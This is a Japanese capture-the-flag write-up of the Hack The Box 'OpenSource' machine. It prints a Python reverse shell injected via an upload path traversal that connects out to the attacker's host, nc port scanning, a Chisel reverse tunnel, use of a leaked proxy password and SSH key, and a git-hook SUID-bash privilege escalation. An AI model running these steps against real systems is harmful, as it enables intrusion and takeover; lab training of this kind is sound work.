Hack the box - OpenSource
Hack the boxのOepnSourceを完了したのでメモ。
難易度 | Writeupを |
---|---|
Easy | 見た |
1. nmapでrecon
- 22番でSSH、80番でWebサーバが動いていることを確認
2. Webサーバが動いているのでアクセス
- upcloudというファイル共有OSSのホームページ?
- gobusterをかける+ページ内を探索すると有効なリンクは以下の2つくらいしかなさそう
/download
/upcloud
/console
3. /console
にアクセス
- Interactive Consoleなるものが現れてPythonで操作できるみたいだが、PIN入力を突破しなければ使えない
4. /upcloud
にアクセス
- ファイルのアップロード画面が表示される
- 試しに
hogehoge.txt
をアップしてみると、/uploads/hogehoge.txt
というパスでダウンロードできるようなリンクが発行される - Burp経由でアクセスを見るとこんな感じ
POST /upcloud HTTP/1.1Host: <IPADDR>:80User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: ja,en-US;q=0.7,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------235176309523446480383430791439Content-Length: 240Origin: http://<IPADDR>:80Connection: closeReferer: http://<IPADDR>:80/upcloudCookie: sidebar_collapsed=falseUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1
-----------------------------235176309523446480383430791439Content-Disposition: form-data; name="file"; filename="hogehoge.txt"Content-Type: text/plain
hogehoge content-----------------------------235176309523446480383430791439--
5. /download
にアクセス
- zipが落ちてくる
- 展開すると以下の構成
├── app│ ├── app│ │ ├── configuration.py│ │ ├── __init__.py│ │ ├── static│ │ │ ├── css│ │ │ │ └── style.css│ │ │ ├── js│ │ │ │ ├── ie10-viewport-bug-workaround.js│ │ │ │ └── script.js│ │ │ └── vendor│ │ │ └── (省略)│ │ ├── templates│ │ │ ├── index.html│ │ │ ├── success.html│ │ │ └── upload.html│ │ ├── utils.py│ │ └── views.py│ ├── INSTALL.md│ ├── public│ │ └── uploads│ └── run.py├── build-docker.sh├── config│ └── supervisord.conf└── Dockerfile
6. コードを見ていく
/Dockerfile
- Webアプリは
- コンテナで動いており、ホストの80番ポートをゲストの80番ポートにバインドしている
- Flaskが使われている
- コンテナにインストールされたsupervisor上で動作させている
- configは
/config/supervisord.conf
にあるuser=root
は何かに使えるか
python /app/run.py
でアプリケーションが動作
- configは
- Webアプリは
/config/supervisord.conf
user=root
は何かに使えるかpython /app/run.py
でアプリケーションが動作
/app
ディレクトリ/app/run.py
:/app/app
ディレクトリのモジュールを読み込んで起動してるだけ/app/app/__init__.py
:環境変数のMODE
で使用するコンフィグを本番/検証環境で切り替え/app/app/configuration.py
:各環境に応じたコンフィグがセットされている、CSRF_ENABLED
が気になる/app/app/views.py
:ビューを定義/
- GETだったら
upload.html
を返す - POSTだったら
- request.files(アップロードされたファイルを格納した変数)からファイルを抽出
- ファイルシステム上の
/現在のディレクトリ/public/uploads/ファイル名
で保存 success.html
を返すともにファイルのダウンロードリンク(http:/<IPADDR>/uploads/filename
)を表示する
- GETだったら
/uploads/<path:path:>
path
からget_file_name
でセキュアにファイル名を抽出/現在のディレクトリ/public/uploads/ファイル名
にあるファイルを返す
/app/app/utils.py
:view.py
で使うユーティリティを記述get_file_name()
、recursive_replace()
は引数に渡されるファイル名から../
を再帰的に除いてディレクトリトラバーサルを回避するget_unique_upload_name()
:どこにも使われてなさそう、実装途中?
/templates
ディレクトリ:各画面のテンプレート
.git
7. .git
を探索
public
とdev
のbranchがあるgit log
コマンドで過去のコミットが見れるgit diff
でコミット間の差分を見ていると気になる文字列を発見
{ "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python", "http.proxy": "http://dev01:Soulless_Developer#[email protected]:5187/", "http.proxyStrictSSL": false}
8. Webアプリにおけるos.path.join()
の性質
- 以下リンクにある通り、
os.path.join()
の2番目以降の引数に絶対パスを指定すると、パスを結合せずにその絶対パスが返される - この性質を利用して、Webアプリのコードを書き換える
9. webシェルの作成とアップロード
- ソースコードに以下を追記
...import sys,socket,os,pty
...
@app.route('/shell')def execute(): import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.10.14.22",4444)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) pty.spawn("/bin/sh")
- Burpで適当なファイルを
/upcloud
へアップロードする際に、リクエストを書き換えるfilename
パラメータは/app/app/views.py
にする- ファイルコンテンツは追記した
views.py
のソースコード全部
- アップロードが完了したら、
/shell
へアクセスして確認 →nc
でTCPサーバを立ち上げてるとシェルが取れる
10. コンテナ内の探索
- 特に興味深いものはない
11. 横展開のためのネットワーク探索
nc
を使ったポートスキャン
/app # for i in $(seq 1 65535); do nc -nvz -w 1 172.17.0.1 $i 2>&1; done | grep -v "refused"172.17.0.1 (172.17.0.1:22) open172.17.0.1 (172.17.0.1:80) open172.17.0.1 (172.17.0.1:3000) open172.17.0.1 (172.17.0.1:6000) open172.17.0.1 (172.17.0.1:6001) open172.17.0.1 (172.17.0.1:6002) open172.17.0.1 (172.17.0.1:6003) open172.17.0.1 (172.17.0.1:6004) open172.17.0.1 (172.17.0.1:6005) open172.17.0.1 (172.17.0.1:6006) open172.17.0.1 (172.17.0.1:6007) open
- これらのポートにアクセスしたいが、ローカルマシンからでは22と80しかアクセスできない
- Chiselを使ってWebアプリのコンテナを踏み台にする
12. Chisel
- GitHub - jpillora/chisel から64bitのバイナリを落としてくる
- ローカルマシンにて
$ ./chisel_1.8.1_linux_amd64 server -p 8888 --reverse
- Webアプリが動くコンテナにて
$ ./chisel_1.8.1_linux_amd64 client 10.10.14.34:8888 R:3000:172.17.0.1:3000
これで、ローカルマシンの3000
ポートは172.17.0.1:3000
に転送されるようになった
13. 172.17.0.1:3000
にアクセス:Gitea
home_backup
なるレポジトリにSSHの秘密鍵が入っているので、これでdev01ユーザとしてSSHログインできる → フラグ奪取
14. dev01から権限昇格のためのホスト内探索
sudo
、docker
は使えない/home/dev01/.git/
に気付くgit log
をするといくつかのコミットが見れるが、コメントがすべてBackup for yyyy-mm-dd
- 自動でバックアップする機構が存在する?
- Cronで仕掛けてるかどうかも確認するため
pspy
/bin/bash /usr/local/bin/git-sync
が定期的に実行されている
- ファイルを見てみるとこんな感じ、バックアップの正体はこれだった
root
で動作するので、これは使えそう
dev01@opensource:~$ ls -la /usr/local/bin/git-sync-rwxr-xr-x 1 root root 239 Mar 23 2022 /usr/local/bin/git-syncdev01@opensource:~$ cat /usr/local/bin/git-sync#!/bin/bash
cd /home/dev01/
if ! git status --porcelain; then echo "No changes"else day=$(date +'%Y-%m-%d') echo "Changes detected, pushing.." git add . git commit -m "Backup for ${day}" git push origin mainfi
15. Git Hooksを活用する
- Gitで特定のイベント発生時にスクリプトを実行するGit Hooksなる仕組みがあるらしい:Git - Git フック
.git/hooks/
にカスタムスクリプトを配置すれば、/usr/local/bin/git-sync
をトリガーに実行されるはず、それもroot
権限で- こんな感じで作成
#!/bin/bash
cp /bin/bash /tmp/pocchown root:root /tmp/pocchmod 4777 /tmp/poc
- 適当に待ってると、
pspy
を垂れ流してる画面に上記のカスタムスクリプトを実行したログも出てくる /tmp/poc -p
で権限昇格
dev01@opensource:~$ /tmp/poc -ppoc-4.4# iduid=1000(dev01) gid=1000(dev01) euid=0(root) groups=1000(dev01)poc-4.4# whoamiroot